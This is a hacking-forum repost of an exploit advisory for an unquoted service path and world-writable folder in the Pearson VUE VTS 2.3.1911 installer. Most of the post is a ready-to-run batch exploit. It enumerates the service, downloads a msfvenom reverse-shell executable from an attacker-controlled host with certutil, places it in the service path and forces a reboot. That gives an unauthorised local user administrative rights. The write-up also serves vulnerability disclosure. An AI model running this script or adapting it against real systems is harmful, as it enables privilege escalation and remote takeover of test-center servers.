Jump to content
  • Hello visitors, welcome to the Hacker World Forum!

    Red Team 1949  (formerly CHT Attack and Defense Team) In this rapidly changing Internet era, we maintain our original intention and create the best community to jointly exchange network technologies. You can obtain hacker attack and defense skills and knowledge in the forum, or you can join our Telegram communication group to discuss and communicate in real time. All kinds of advertisements are prohibited in the forum. Please register as a registered user to check our usage and privacy policy. Thank you for your cooperation.

    TheHackerWorld Official

Pearson Vue VTS 2.3.1911 Installer - 'VUEApplicationWrapper' Unquoted Service Path

 Share


Recommended Posts

# Exploit Title: Pearson Vue VTS 2.3.1911 Installer - 'VUEApplicationWrapper' Unquoted Service Path
# Discovery by: Jok3r
# Discovery Date: 2020-09-14
# Vendor Homepage: https://home.pearsonvue.com/
# Software Link: https://vss.pearsonvue.com/VSSFiles/Documents/ENU_TCInstallGuide/Download_VTS_Installer.htm
# Tested Version: 2.3.1911
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Pro x64 es

#Description:

The Application Wrapper is the component that automates the Pearson VUE
Testing System. The Wrapper is a scheduler that runs in the background on
the test center’s server.
VUEApplicationWrapper service has an unquoted service path vulnerability
and insecure file permissions on "\Pearson VUE\" directory that allows to
overwrite by everyone
so that unauthorized local user can leverage privileges to VUEService user
that has administrative rights.

# Detection of unquoted service path:

C:\Users\VUEService>wmic service get name, pathname, displayname, startmode
| findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "Pearson" |
findstr /i /v """
VUE Application Wrapper
VUEApplicationWrapper C:\Pearson VUE\VUE
Testing System\bin\VUEWrapper.exe
Auto

C:\Users\VUEService>sc qc VUEApplicationWrapper
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: VUEApplicationWrapper
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Pearson VUE\VUE Testing
System\bin\VUEWrapper.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : VUE Application Wrapper
DEPENDENCIES : lanmanworkstation
SERVICE_START_NAME : .\VUEService


#Detection of insecure file permissions:

PS C:\Users\VUEService> Get-Acl -Path "c:\Pearson Vue\"


Directory: C:\


Path Owner Access
---- ----- ------
Pearson Vue BUILTIN\Administrators Everyone Allow FullControl...


#Exploit code:

@ECHO OFF
ECHO [+] executing command: "wmic service get
name,pathname,displayname,startmode | findstr /i "Auto" | findstr /i
"Pearson" | findstr /i /v "C:\Windows\\" | findstr /i /v """"
wmic service get name,pathname,displayname,startmode | findstr /i "Auto" |
findstr /i "Pearson" | findstr /i /v "C:\Windows\\" | findstr /i /v """
sc qc VUEApplicationWrapper
powershell.exe -ep bypass -nop -c "Get-Acl -Path 'c:\Pearson Vue\'"
ECHO [+] Enumeration was completed successfully.
::Create VUE.exe with following commands on your kali and serve it on port
80. Also listen port 443 with netcat for reverse shell.
::msfvenom -p windows/x64/shell/reverse_tcp LHOST=<Your IP Address>
LPORT=443 -f exe > VUE.exe
ECHO [*] If you create VUE.exe under "\Pearson VUE\" directory with your
privileges, you might be able to get VUEService user privileges after
windows was rebooted.
certutil -urlcache -split -f http://<YOUR_IP_ADDRESS>/VUE.exe "C:\Pearson
VUE\VUE.exe"
ECHO [*] Downloading VUE executable...
PAUSE
IF EXIST "C:\Pearson VUE\VUE.exe" (
ECHO [+] The download was successful.
) ELSE (
ECHO [-] The download was unsuccessful.
PAUSE
)
ECHO [!] If you continue, system will be rebooted.
PAUSE
shutdown /r /t 0
::code end
            
Link to post
Link to comment
Share on other sites

 Share

discussion group

discussion group

    You don't have permission to chat.
    • Recently Browsing   0 members

      • No registered users viewing this page.
    ×
    ×
    • Create New...